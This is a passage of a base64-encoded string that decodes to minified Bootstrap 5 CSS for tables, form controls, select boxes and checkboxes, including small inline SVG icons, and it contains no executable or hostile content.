JzLXRhYmxlLWNvbG9yKTt2ZXJ0aWNhbC1hbGlnbjp0b3A7Ym9yZGVyLWNvbG9yOnZhcigtLWJzLXRhYmxlLWJvcmRlci1jb2xvcil9LnRhYmxlPjpub3QoY2FwdGlvbik+Kj4qe3BhZGRpbmc6LjVyZW0gLjVyZW07YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy10YWJsZS1iZyk7Ym9yZGVyLWJvdHRvbS13aWR0aDoxcHg7Ym94LXNoYWRvdzppbnNldCAwIDAgMCA5OTk5cHggdmFyKC0tYnMtdGFibGUtYWNjZW50LWJnKX0udGFibGU+dGJvZHl7dmVydGljYWwtYWxpZ246aW5oZXJpdH0udGFibGU+dGhlYWR7dmVydGljYWwtYWxpZ246Ym90dG9tfS50YWJsZS1ncm91cC1kaXZpZGVye2JvcmRlci10b3A6MnB4IHNvbGlkIGN1cnJlbnRjb2xvcn0uY2FwdGlvbi10b3B7Y2FwdGlvbi1zaWRlOnRvcH0udGFibGUtc20+Om5vdChjYXB0aW9uKT4qPip7cGFkZGluZzouMjVyZW0gLjI1cmVtfS50YWJsZS1ib3JkZXJlZD46bm90KGNhcHRpb24pPip7Ym9yZGVyLXdpZHRoOjFweCAwfS50YWJsZS1ib3JkZXJlZD46bm90KGNhcHRpb24pPio+Kntib3JkZXItd2lkdGg6MCAxcHh9LnRhYmxlLWJvcmRlcmxlc3M+Om5vdChjYXB0aW9uKT4qPip7Ym9yZGVyLWJvdHRvbS13aWR0aDowfS50YWJsZS1ib3JkZXJsZXNzPjpub3QoOmZpcnN0LWNoaWxkKXtib3JkZXItdG9wLXdpZHRoOjB9LnRhYmxlLXN0cmlwZWQ+dGJvZHk+dHI6bnRoLW9mLXR5cGUob2RkKT4qey0tYnMtdGFibGUtYWNjZW50LWJnOnZhcigtLWJzLXRhYmxlLXN0cmlwZWQtYmcpO2NvbG9yOnZhcigtLWJzLXRhYmxlLXN0cmlwZWQtY29sb3IpfS50YWJsZS1zdHJpcGVkLWNvbHVtbnM+Om5vdChjYXB0aW9uKT50cj46bnRoLWNoaWxkKDJuKXstLWJzLXRhYmxlLWFjY2VudC1iZzp2YXIoLS1icy10YWJsZS1zdHJpcGVkLWJnKTtjb2xvcjp2YXIoLS1icy10YWJsZS1zdHJpcGVkLWNvbG9yKX0udGFibGUtYWN0aXZley0tYnMtdGFibGUtYWNjZW50LWJnOnZhcigtLWJzLXRhYmxlLWFjdGl2ZS1iZyk7Y29sb3I6dmFyKC0tYnMtdGFibGUtYWN0aXZlLWNvbG9yKX0udGFibGUtaG92ZXI+dGJvZHk+dHI6aG92ZXI+KnstLWJzLXRhYmxlLWFjY2VudC1iZzp2YXIoLS1icy10YWJsZS1ob3Zlci1iZyk7Y29sb3I6dmFyKC0tYnMtdGFibGUtaG92ZXItY29sb3IpfS50YWJsZS1wcmltYXJ5ey0tYnMtdGFibGUtY29sb3I6IzAwMDstLWJzLXRhYmxlLWJnOiNjZmUyZmY7LS1icy10YWJsZS1ib3JkZXItY29sb3I6I2JhY2JlNjstLWJzLXRhYmxlLXN0cmlwZWQtYmc6I2M1ZDdmMjstLWJzLXRhYmxlLXN0cmlwZWQtY29sb3I6IzAwMDstLWJzLXRhYmxlLWFjdGl2ZS1iZzojYmFjYmU2Oy0tYnMtdGFibGUtYWN0aXZlLWNvbG9yOiMwMDA7LS1icy10YWJsZS1ob3Zlci1iZzojYmZkMWVjOy0tYnMtdGFibGUtaG92ZXItY29sb3I6IzAwMDtjb2xvcjp2YXIoLS1icy10YWJsZS1jb2xvcik7Ym9yZGVyLWNvbG9yOnZhcigtLWJzLXRhYmxlLWJvcmRlci1jb2xvcil9LnRhYmxlLXNlY29uZGFyeXstLWJzLXRhYmxlLWNvbG9yOiMwMDA7LS1icy10YWJsZS1iZzojZTJlM2U1Oy0tYnMtdGFibGUtYm9yZGVyLWNvbG9yOiNjYmNjY2U7LS1icy10YWJsZS1zdHJpcGVkLWJnOiNkN2Q4ZGE7LS1icy10YWJsZS1zdHJpcGVkLWNvbG9yOiMwMDA7LS1icy10YWJsZS1hY3RpdmUtYmc6I2NiY2NjZTstLWJzLXRhYmxlLWFjdGl2ZS1jb2xvcjojMDAwOy0tYnMtdGFibGUtaG92ZXItYmc6I2QxZDJkNDstLWJzLXRhYmxlLWhvdmVyLWNvbG9yOiMwMDA7Y29sb3I6dmFyKC0tYnMtdGFibGUtY29sb3IpO2JvcmRlci1jb2xvcjp2YXIoLS1icy10YWJsZS1ib3JkZXItY29sb3IpfS50YWJsZS1zdWNjZXNzey0tYnMtdGFibGUtY29sb3I6IzAwMDstLWJzLXRhYmxlLWJnOiNkMWU3ZGQ7LS1icy10YWJsZS1ib3JkZXItY29sb3I6I2JjZDBjNzstLWJzLXRhYmxlLXN0cmlwZWQtYmc6I2M3ZGJkMjstLWJzLXRhYmxlLXN0cmlwZWQtY29sb3I6IzAwMDstLWJzLXRhYmxlLWFjdGl2ZS1iZzojYmNkMGM3Oy0tYnMtdGFibGUtYWN0aXZlLWNvbG9yOiMwMDA7LS1icy10YWJsZS1ob3Zlci1iZzojYzFkNmNjOy0tYnMtdGFibGUtaG92ZXItY29sb3I6IzAwMDtjb2xvcjp2YXIoLS1icy10YWJsZS1jb2xvcik7Ym9yZGVyLWNvbG9yOnZhcigtLWJzLXRhYmxlLWJvcmRlci1jb2xvcil9LnRhYmxlLWluZm97LS1icy10YWJsZS1jb2xvcjojMDAwOy0tYnMtdGFibGUtYmc6I2NmZjRmYzstLWJzLXRhYmxlLWJvcmRlci1jb2xvcjojYmFkY2UzOy0tYnMtdGFibGUtc3RyaXBlZC1iZzojYzVlOGVmOy0tYnMtdGFibGUtc3RyaXBlZC1jb2xvcjojMDAwOy0tYnMtdGFibGUtYWN0aXZlLWJnOiNiYWRjZTM7LS1icy10YWJsZS1hY3RpdmUtY29sb3I6IzAwMDstLWJzLXRhYmxlLWhvdmVyLWJnOiNiZmUyZTk7LS1icy10YWJsZS1ob3Zlci1jb2xvcjojMDAwO2NvbG9yOnZhcigtLWJzLXRhYmxlLWNvbG9yKTtib3JkZXItY29sb3I6dmFyKC0tYnMtdGFibGUtYm9yZGVyLWNvbG9yKX0udGFibGUtd2FybmluZ3stLWJzLXRhYmxlLWNvbG9yOiMwMDA7LS1icy10YWJsZS1iZzojZmZmM2NkOy0tYnMtdGFibGUtYm9yZGVyLWNvbG9yOiNlNmRiYjk7LS1icy10YWJsZS1zdHJpcGVkLWJnOiNmMmU3YzM7LS1icy10YWJsZS1zdHJpcGVkLWNvbG9yOiMwMDA7LS1icy10YWJsZS1hY3RpdmUtYmc6I2U2ZGJiOTstLWJzLXRhYmxlLWFjdGl2ZS1jb2xvcjojMDAwOy0tYnMtdGFibGUtaG92ZXItYmc6I2VjZTFiZTstLWJzLXRhYmxlLWhvdmVyLWNvbG9yOiMwMDA7Y29sb3I6dmFyKC0tYnMtdGFibGUtY29sb3IpO2JvcmRlci1jb2xvcjp2YXIoLS1icy10YWJsZS1ib3JkZXItY29sb3IpfS50YWJsZS1kYW5nZXJ7LS1icy10YWJsZS1jb2xvcjojMDAwOy0tYnMtdGFibGUtYmc6I2Y4ZDdkYTstLWJzLXRhYmxlLWJvcmRlci1jb2xvcjojZGZjMmM0Oy0tYnMtdGFibGUtc3RyaXBlZC1iZzojZWNjY2NmOy0tYnMtdGFibGUtc3RyaXBlZC1jb2xvcjojMDAwOy0tYnMtdGFibGUtYWN0aXZlLWJnOiNkZmMyYzQ7LS1icy10YWJsZS1hY3RpdmUtY29sb3I6IzAwMDstLWJzLXRhYmxlLWhvdmVyLWJnOiNlNWM3Y2E7LS1icy10YWJsZS1ob3Zlci1jb2xvcjojMDAwO2NvbG9yOnZhcigtLWJzLXRhYmxlLWNvbG9yKTtib3JkZXItY29sb3I6dmFyKC0tYnMtdGFibGUtYm9yZGVyLWNvbG9yKX0udGFibGUtbGlnaHR7LS1icy10YWJsZS1jb2xvcjojMDAwOy0tYnMtdGFibGUtYmc6I2Y4ZjlmYTstLWJzLXRhYmxlLWJvcmRlci1jb2xvcjojZGZlMGUxOy0tYnMtdGFibGUtc3RyaXBlZC1iZzojZWNlZGVlOy0tYnMtdGFibGUtc3RyaXBlZC1jb2xvcjojMDAwOy0tYnMtdGFibGUtYWN0aXZlLWJnOiNkZmUwZTE7LS1icy10YWJsZS1hY3RpdmUtY29sb3I6IzAwMDstLWJzLXRhYmxlLWhvdmVyLWJnOiNlNWU2ZTc7LS1icy10YWJsZS1ob3Zlci1jb2xvcjojMDAwO2NvbG9yOnZhcigtLWJzLXRhYmxlLWNvbG9yKTtib3JkZXItY29sb3I6dmFyKC0tYnMtdGFibGUtYm9yZGVyLWNvbG9yKX0udGFibGUtZGFya3stLWJzLXRhYmxlLWNvbG9yOiNmZmY7LS1icy10YWJsZS1iZzojMjEyNTI5Oy0tYnMtdGFibGUtYm9yZGVyLWNvbG9yOiMzNzNiM2U7LS1icy10YWJsZS1zdHJpcGVkLWJnOiMyYzMwMzQ7LS1icy10YWJsZS1zdHJpcGVkLWNvbG9yOiNmZmY7LS1icy10YWJsZS1hY3RpdmUtYmc6IzM3M2IzZTstLWJzLXRhYmxlLWFjdGl2ZS1jb2xvcjojZmZmOy0tYnMtdGFibGUtaG92ZXItYmc6IzMyMzUzOTstLWJzLXRhYmxlLWhvdmVyLWNvbG9yOiNmZmY7Y29sb3I6dmFyKC0tYnMtdGFibGUtY29sb3IpO2JvcmRlci1jb2xvcjp2YXIoLS1icy10YWJsZS1ib3JkZXItY29sb3IpfS50YWJsZS1yZXNwb25zaXZle292ZXJmbG93LXg6YXV0bzstd2Via2l0LW92ZXJmbG93LXNjcm9sbGluZzp0b3VjaH1AbWVkaWEgKG1heC13aWR0aDo1NzUuOThweCl7LnRhYmxlLXJlc3BvbnNpdmUtc217b3ZlcmZsb3cteDphdXRvOy13ZWJraXQtb3ZlcmZsb3ctc2Nyb2xsaW5nOnRvdWNofX1AbWVkaWEgKG1heC13aWR0aDo3NjcuOThweCl7LnRhYmxlLXJlc3BvbnNpdmUtbWR7b3ZlcmZsb3cteDphdXRvOy13ZWJraXQtb3ZlcmZsb3ctc2Nyb2xsaW5nOnRvdWNofX1AbWVkaWEgKG1heC13aWR0aDo5OTEuOThweCl7LnRhYmxlLXJlc3BvbnNpdmUtbGd7b3ZlcmZsb3cteDphdXRvOy13ZWJraXQtb3ZlcmZsb3ctc2Nyb2xsaW5nOnRvdWNofX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpey50YWJsZS1yZXNwb25zaXZlLXhse292ZXJmbG93LXg6YXV0bzstd2Via2l0LW92ZXJmbG93LXNjcm9sbGluZzp0b3VjaH19QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsudGFibGUtcmVzcG9uc2l2ZS14eGx7b3ZlcmZsb3cteDphdXRvOy13ZWJraXQtb3ZlcmZsb3ctc2Nyb2xsaW5nOnRvdWNofX0uZm9ybS1sYWJlbHttYXJnaW4tYm90dG9tOi41cmVtfS5jb2wtZm9ybS1sYWJlbHtwYWRkaW5nLXRvcDpjYWxjKC4zNzVyZW0gKyAxcHgpO3BhZGRpbmctYm90dG9tOmNhbGMoLjM3NXJlbSArIDFweCk7bWFyZ2luLWJvdHRvbTowO2ZvbnQtc2l6ZTppbmhlcml0O2xpbmUtaGVpZ2h0OjEuNX0uY29sLWZvcm0tbGFiZWwtbGd7cGFkZGluZy10b3A6Y2FsYyguNXJlbSArIDFweCk7cGFkZGluZy1ib3R0b206Y2FsYyguNXJlbSArIDFweCk7Zm9udC1zaXplOjEuMjVyZW19LmNvbC1mb3JtLWxhYmVsLXNte3BhZGRpbmctdG9wOmNhbGMoLjI1cmVtICsgMXB4KTtwYWRkaW5nLWJvdHRvbTpjYWxjKC4yNXJlbSArIDFweCk7Zm9udC1zaXplOi44NzVyZW19LmZvcm0tdGV4dHttYXJnaW4tdG9wOi4yNXJlbTtmb250LXNpemU6Ljg3NWVtO2NvbG9yOiM2Yzc1N2R9LmZvcm0tY29udHJvbHtkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7cGFkZGluZzouMzc1cmVtIC43NXJlbTtmb250LXNpemU6MXJlbTtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS41O2NvbG9yOiMyMTI1Mjk7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtib3JkZXI6MXB4IHNvbGlkICNjZWQ0ZGE7LXdlYmtpdC1hcHBlYXJhbmNlOm5vbmU7LW1vei1hcHBlYXJhbmNlOm5vbmU7YXBwZWFyYW5jZTpub25lO2JvcmRlci1yYWRpdXM6LjM3NXJlbTt0cmFuc2l0aW9uOmJvcmRlci1jb2xvciAuMTVzIGVhc2UtaW4tb3V0LGJveC1zaGFkb3cgLjE1cyBlYXNlLWluLW91dH1AbWVkaWEgKHByZWZlcnMtcmVkdWNlZC1tb3Rpb246cmVkdWNlKXsuZm9ybS1jb250cm9se3RyYW5zaXRpb246bm9uZX19LmZvcm0tY29udHJvbFt0eXBlPWZpbGVde292ZXJmbG93OmhpZGRlbn0uZm9ybS1jb250cm9sW3R5cGU9ZmlsZV06bm90KDpkaXNhYmxlZCk6bm90KFtyZWFkb25seV0pe2N1cnNvcjpwb2ludGVyfS5mb3JtLWNvbnRyb2w6Zm9jdXN7Y29sb3I6IzIxMjUyOTtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyLWNvbG9yOiM4NmI3ZmU7b3V0bGluZTowO2JveC1zaGFkb3c6MCAwIDAgLjI1cmVtIHJnYmEoMTMsMTEwLDI1MywuMjUpfS5mb3JtLWNvbnRyb2w6Oi13ZWJraXQtZGF0ZS1hbmQtdGltZS12YWx1ZXtoZWlnaHQ6MS41ZW19LmZvcm0tY29udHJvbDo6LW1vei1wbGFjZWhvbGRlcntjb2xvcjojNmM3NTdkO29wYWNpdHk6MX0uZm9ybS1jb250cm9sOjpwbGFjZWhvbGRlcntjb2xvcjojNmM3NTdkO29wYWNpdHk6MX0uZm9ybS1jb250cm9sOmRpc2FibGVke2JhY2tncm91bmQtY29sb3I6I2U5ZWNlZjtvcGFjaXR5OjF9LmZvcm0tY29udHJvbDo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257cGFkZGluZzouMzc1cmVtIC43NXJlbTttYXJnaW46LS4zNzVyZW0gLS43NXJlbTstd2Via2l0LW1hcmdpbi1lbmQ6Ljc1cmVtO21hcmdpbi1pbmxpbmUtZW5kOi43NXJlbTtjb2xvcjojMjEyNTI5O2JhY2tncm91bmQtY29sb3I6I2U5ZWNlZjtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjppbmhlcml0O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MDtib3JkZXItaW5saW5lLWVuZC13aWR0aDoxcHg7Ym9yZGVyLXJhZGl1czowOy13ZWJraXQtdHJhbnNpdGlvbjpjb2xvciAuMTVzIGVhc2UtaW4tb3V0LGJhY2tncm91bmQtY29sb3IgLjE1cyBlYXNlLWluLW91dCxib3JkZXItY29sb3IgLjE1cyBlYXNlLWluLW91dCxib3gtc2hhZG93IC4xNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjpjb2xvciAuMTVzIGVhc2UtaW4tb3V0LGJhY2tncm91bmQtY29sb3IgLjE1cyBlYXNlLWluLW91dCxib3JkZXItY29sb3IgLjE1cyBlYXNlLWluLW91dCxib3gtc2hhZG93IC4xNXMgZWFzZS1pbi1vdXR9LmZvcm0tY29udHJvbDo6ZmlsZS1zZWxlY3Rvci1idXR0b257cGFkZGluZzouMzc1cmVtIC43NXJlbTttYXJnaW46LS4zNzVyZW0gLS43NXJlbTstd2Via2l0LW1hcmdpbi1lbmQ6Ljc1cmVtO21hcmdpbi1pbmxpbmUtZW5kOi43NXJlbTtjb2xvcjojMjEyNTI5O2JhY2tncm91bmQtY29sb3I6I2U5ZWNlZjtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjppbmhlcml0O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MDtib3JkZXItaW5saW5lLWVuZC13aWR0aDoxcHg7Ym9yZGVyLXJhZGl1czowO3RyYW5zaXRpb246Y29sb3IgLjE1cyBlYXNlLWluLW91dCxiYWNrZ3JvdW5kLWNvbG9yIC4xNXMgZWFzZS1pbi1vdXQsYm9yZGVyLWNvbG9yIC4xNXMgZWFzZS1pbi1vdXQsYm94LXNoYWRvdyAuMTVzIGVhc2UtaW4tb3V0fUBtZWRpYSAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5mb3JtLWNvbnRyb2w6Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uey13ZWJraXQtdHJhbnNpdGlvbjpub25lO3RyYW5zaXRpb246bm9uZX0uZm9ybS1jb250cm9sOjpmaWxlLXNlbGVjdG9yLWJ1dHRvbnt0cmFuc2l0aW9uOm5vbmV9fS5mb3JtLWNvbnRyb2w6aG92ZXI6bm90KDpkaXNhYmxlZCk6bm90KFtyZWFkb25seV0pOjotd2Via2l0LWZpbGUtdXBsb2FkLWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiNkZGUwZTN9LmZvcm0tY29udHJvbDpob3Zlcjpub3QoOmRpc2FibGVkKTpub3QoW3JlYWRvbmx5XSk6OmZpbGUtc2VsZWN0b3ItYnV0dG9ue2JhY2tncm91bmQtY29sb3I6I2RkZTBlM30uZm9ybS1jb250cm9sLXBsYWludGV4dHtkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7cGFkZGluZzouMzc1cmVtIDA7bWFyZ2luLWJvdHRvbTowO2xpbmUtaGVpZ2h0OjEuNTtjb2xvcjojMjEyNTI5O2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyOnNvbGlkIHRyYW5zcGFyZW50O2JvcmRlci13aWR0aDoxcHggMH0uZm9ybS1jb250cm9sLXBsYWludGV4dDpmb2N1c3tvdXRsaW5lOjB9LmZvcm0tY29udHJvbC1wbGFpbnRleHQuZm9ybS1jb250cm9sLWxnLC5mb3JtLWNvbnRyb2wtcGxhaW50ZXh0LmZvcm0tY29udHJvbC1zbXtwYWRkaW5nLXJpZ2h0OjA7cGFkZGluZy1sZWZ0OjB9LmZvcm0tY29udHJvbC1zbXttaW4taGVpZ2h0OmNhbGMoMS41ZW0gKyAuNXJlbSArIDJweCk7cGFkZGluZzouMjVyZW0gLjVyZW07Zm9udC1zaXplOi44NzVyZW07Ym9yZGVyLXJhZGl1czouMjVyZW19LmZvcm0tY29udHJvbC1zbTo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257cGFkZGluZzouMjVyZW0gLjVyZW07bWFyZ2luOi0uMjVyZW0gLS41cmVtOy13ZWJraXQtbWFyZ2luLWVuZDouNXJlbTttYXJnaW4taW5saW5lLWVuZDouNXJlbX0uZm9ybS1jb250cm9sLXNtOjpmaWxlLXNlbGVjdG9yLWJ1dHRvbntwYWRkaW5nOi4yNXJlbSAuNXJlbTttYXJnaW46LS4yNXJlbSAtLjVyZW07LXdlYmtpdC1tYXJnaW4tZW5kOi41cmVtO21hcmdpbi1pbmxpbmUtZW5kOi41cmVtfS5mb3JtLWNvbnRyb2wtbGd7bWluLWhlaWdodDpjYWxjKDEuNWVtICsgMXJlbSArIDJweCk7cGFkZGluZzouNXJlbSAxcmVtO2ZvbnQtc2l6ZToxLjI1cmVtO2JvcmRlci1yYWRpdXM6LjVyZW19LmZvcm0tY29udHJvbC1sZzo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257cGFkZGluZzouNXJlbSAxcmVtO21hcmdpbjotLjVyZW0gLTFyZW07LXdlYmtpdC1tYXJnaW4tZW5kOjFyZW07bWFyZ2luLWlubGluZS1lbmQ6MXJlbX0uZm9ybS1jb250cm9sLWxnOjpmaWxlLXNlbGVjdG9yLWJ1dHRvbntwYWRkaW5nOi41cmVtIDFyZW07bWFyZ2luOi0uNXJlbSAtMXJlbTstd2Via2l0LW1hcmdpbi1lbmQ6MXJlbTttYXJnaW4taW5saW5lLWVuZDoxcmVtfXRleHRhcmVhLmZvcm0tY29udHJvbHttaW4taGVpZ2h0OmNhbGMoMS41ZW0gKyAuNzVyZW0gKyAycHgpfXRleHRhcmVhLmZvcm0tY29udHJvbC1zbXttaW4taGVpZ2h0OmNhbGMoMS41ZW0gKyAuNXJlbSArIDJweCl9dGV4dGFyZWEuZm9ybS1jb250cm9sLWxne21pbi1oZWlnaHQ6Y2FsYygxLjVlbSArIDFyZW0gKyAycHgpfS5mb3JtLWNvbnRyb2wtY29sb3J7d2lkdGg6M3JlbTtoZWlnaHQ6Y2FsYygxLjVlbSArIC43NXJlbSArIDJweCk7cGFkZGluZzouMzc1cmVtfS5mb3JtLWNvbnRyb2wtY29sb3I6bm90KDpkaXNhYmxlZCk6bm90KFtyZWFkb25seV0pe2N1cnNvcjpwb2ludGVyfS5mb3JtLWNvbnRyb2wtY29sb3I6Oi1tb3otY29sb3Itc3dhdGNoe2JvcmRlcjowIWltcG9ydGFudDtib3JkZXItcmFkaXVzOi4zNzVyZW19LmZvcm0tY29udHJvbC1jb2xvcjo6LXdlYmtpdC1jb2xvci1zd2F0Y2h7Ym9yZGVyLXJhZGl1czouMzc1cmVtfS5mb3JtLWNvbnRyb2wtY29sb3IuZm9ybS1jb250cm9sLXNte2hlaWdodDpjYWxjKDEuNWVtICsgLjVyZW0gKyAycHgpfS5mb3JtLWNvbnRyb2wtY29sb3IuZm9ybS1jb250cm9sLWxne2hlaWdodDpjYWxjKDEuNWVtICsgMXJlbSArIDJweCl9LmZvcm0tc2VsZWN0e2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTAwJTtwYWRkaW5nOi4zNzVyZW0gMi4yNXJlbSAuMzc1cmVtIC43NXJlbTstbW96LXBhZGRpbmctc3RhcnQ6Y2FsYygwLjc1cmVtIC0gM3B4KTtmb250LXNpemU6MXJlbTtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS41O2NvbG9yOiMyMTI1Mjk7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNjc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDE2IDE2JyUzZSUzY3BhdGggZmlsbD0nbm9uZScgc3Ryb2tlPSclMjMzNDNhNDAnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcgc3Ryb2tlLXdpZHRoPScyJyBkPSdtMiA1IDYgNiA2LTYnLyUzZSUzYy9zdmclM2UiKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpyaWdodCAuNzVyZW0gY2VudGVyO2JhY2tncm91bmQtc2l6ZToxNnB4IDEycHg7Ym9yZGVyOjFweCBzb2xpZCAjY2VkNGRhO2JvcmRlci1yYWRpdXM6LjM3NXJlbTt0cmFuc2l0aW9uOmJvcmRlci1jb2xvciAuMTVzIGVhc2UtaW4tb3V0LGJveC1zaGFkb3cgLjE1cyBlYXNlLWluLW91dDstd2Via2l0LWFwcGVhcmFuY2U6bm9uZTstbW96LWFwcGVhcmFuY2U6bm9uZTthcHBlYXJhbmNlOm5vbmV9QG1lZGlhIChwcmVmZXJzLXJlZHVjZWQtbW90aW9uOnJlZHVjZSl7LmZvcm0tc2VsZWN0e3RyYW5zaXRpb246bm9uZX19LmZvcm0tc2VsZWN0OmZvY3Vze2JvcmRlci1jb2xvcjojODZiN2ZlO291dGxpbmU6MDtib3gtc2hhZG93OjAgMCAwIC4yNXJlbSByZ2JhKDEzLDExMCwyNTMsLjI1KX0uZm9ybS1zZWxlY3RbbXVsdGlwbGVdLC5mb3JtLXNlbGVjdFtzaXplXTpub3QoW3NpemU9IjEiXSl7cGFkZGluZy1yaWdodDouNzVyZW07YmFja2dyb3VuZC1pbWFnZTpub25lfS5mb3JtLXNlbGVjdDpkaXNhYmxlZHtiYWNrZ3JvdW5kLWNvbG9yOiNlOWVjZWZ9LmZvcm0tc2VsZWN0Oi1tb3otZm9jdXNyaW5ne2NvbG9yOnRyYW5zcGFyZW50O3RleHQtc2hhZG93OjAgMCAwICMyMTI1Mjl9LmZvcm0tc2VsZWN0LXNte3BhZGRpbmctdG9wOi4yNXJlbTtwYWRkaW5nLWJvdHRvbTouMjVyZW07cGFkZGluZy1sZWZ0Oi41cmVtO2ZvbnQtc2l6ZTouODc1cmVtO2JvcmRlci1yYWRpdXM6LjI1cmVtfS5mb3JtLXNlbGVjdC1sZ3twYWRkaW5nLXRvcDouNXJlbTtwYWRkaW5nLWJvdHRvbTouNXJlbTtwYWRkaW5nLWxlZnQ6MXJlbTtmb250LXNpemU6MS4yNXJlbTtib3JkZXItcmFkaXVzOi41cmVtfS5mb3JtLWNoZWNre2Rpc3BsYXk6YmxvY2s7bWluLWhlaWdodDoxLjVyZW07cGFkZGluZy1sZWZ0OjEuNWVtO21hcmdpbi1ib3R0b206LjEyNXJlbX0uZm9ybS1jaGVjayAuZm9ybS1jaGVjay1pbnB1dHtmbG9hdDpsZWZ0O21hcmdpbi1sZWZ0Oi0xLjVlbX0uZm9ybS1jaGVjay1yZXZlcnNle3BhZGRpbmctcmlnaHQ6MS41ZW07cGFkZGluZy1sZWZ0OjA7dGV4dC1hbGlnbjpyaWdodH0uZm9ybS1jaGVjay1yZXZlcnNlIC5mb3JtLWNoZWNrLWlucHV0e2Zsb2F0OnJpZ2h0O21hcmdpbi1yaWdodDotMS41ZW07bWFyZ2luLWxlZnQ6MH0uZm9ybS1jaGVjay1pbnB1dHt3aWR0aDoxZW07aGVpZ2h0OjFlbTttYXJnaW4tdG9wOi4yNWVtO3ZlcnRpY2FsLWFsaWduOnRvcDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtc2l6ZTpjb250YWluO2JvcmRlcjoxcHggc29saWQgcmdiYSgwLDAsMCwuMjUpOy13ZWJraXQtYXBwZWFyYW5jZTpub25lOy1tb3otYXBwZWFyYW5jZTpub25lO2FwcGVhcmFuY2U6bm9uZTstd2Via2l0LXByaW50LWNvbG9yLWFkanVzdDpleGFjdDtjb2xvci1hZGp1c3Q6ZXhhY3Q7cHJpbnQtY29sb3ItYWRqdXN0OmV4YWN0fS5mb3JtLWNoZWNrLWlucHV0W3R5cGU9Y2hlY2tib3hde2JvcmRlci1yYWRpdXM6LjI1ZW19LmZvcm0tY2hlY2staW5wdXRbdHlwZT1yYWRpb117Ym9yZGVyLXJhZGl1czo1MCV9LmZvcm0tY2hlY2staW5wdXQ6YWN0aXZle2ZpbHRlcjpicmlnaHRuZXNzKDkwJSl9LmZvcm0tY2hlY2staW5wdXQ6Zm9jdXN7Ym9yZGVyLWNvbG9yOiM4NmI3ZmU7b3V0bGluZTowO2JveC1zaGFkb3c6MCAwIDAgLjI1cmVtIHJnYmEoMTMsMTEwLDI1MywuMjUpfS5mb3JtLWNoZWNrLWlucHV0OmNoZWNrZWR7YmFja2dyb3VuZC1jb2xvcjojMGQ2ZWZkO2JvcmRlci1jb2xvcjojMGQ2ZWZkfS5mb3JtLWNoZWNrLWlucHV0OmNoZWNrZWRbdHlwZT1jaGVja2JveF17YmFja2dyb3VuZC1pbWFnZTp1cmwoImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM2NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB2aWV3Qm94PScwIDAgMjAgMjAnJTNlJTNjcGF0aCBmaWxsPSdub25lJyBzdHJva2U9JyUyM2ZmZicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJyBzdHJva2Utd2lkdGg9JzMnIGQ9J202IDEwIDMgMyA2LTYnLyUzZSUzYy9zdmclM2UiKX0uZm9ybS1jaGVjay1pbnB1dDpjaGVja2VkW3R5cGU9cmFkaW9de2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNjc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nLTQgLTQgOCA4JyUzZSUzY2NpcmNsZSByPScyJyBmaWxsPSclMjNmZmYnLyUzZSUzYy9zdmclM2UiKX0uZm9ybS1jaGVjay1pbnB1dFt0eXBlPWNoZWNrYm94XTppbmRldGVybWluYXRle2JhY2tncm91bmQtY29sb3I6IzBkNmVmZDtib3JkZXItY29sb3I6IzBkNmVmZDtiYWNrZ3JvdW5kLWltYWdlOnVybCgiZGF0YTppbWFnZS9zdmcreG1sLCUzY3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHZpZXdCb3g9JzAgMCAyMCAyMCclM2UlM2NwYXRoIGZpbGw9J25vbmUnIHN0cm9rZT0nJTIzZmZmJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnIHN0cm9rZS13aWR0aD0nMycgZD0nTTYgMTBoOCcvJTNlJTNjL3N2ZyUzZSIpfS5mb3JtLWNoZWNrLWlucHV0OmRpc2FibGVke3BvaW50ZXItZXZlbnRzOm5vbmU7ZmlsdGVy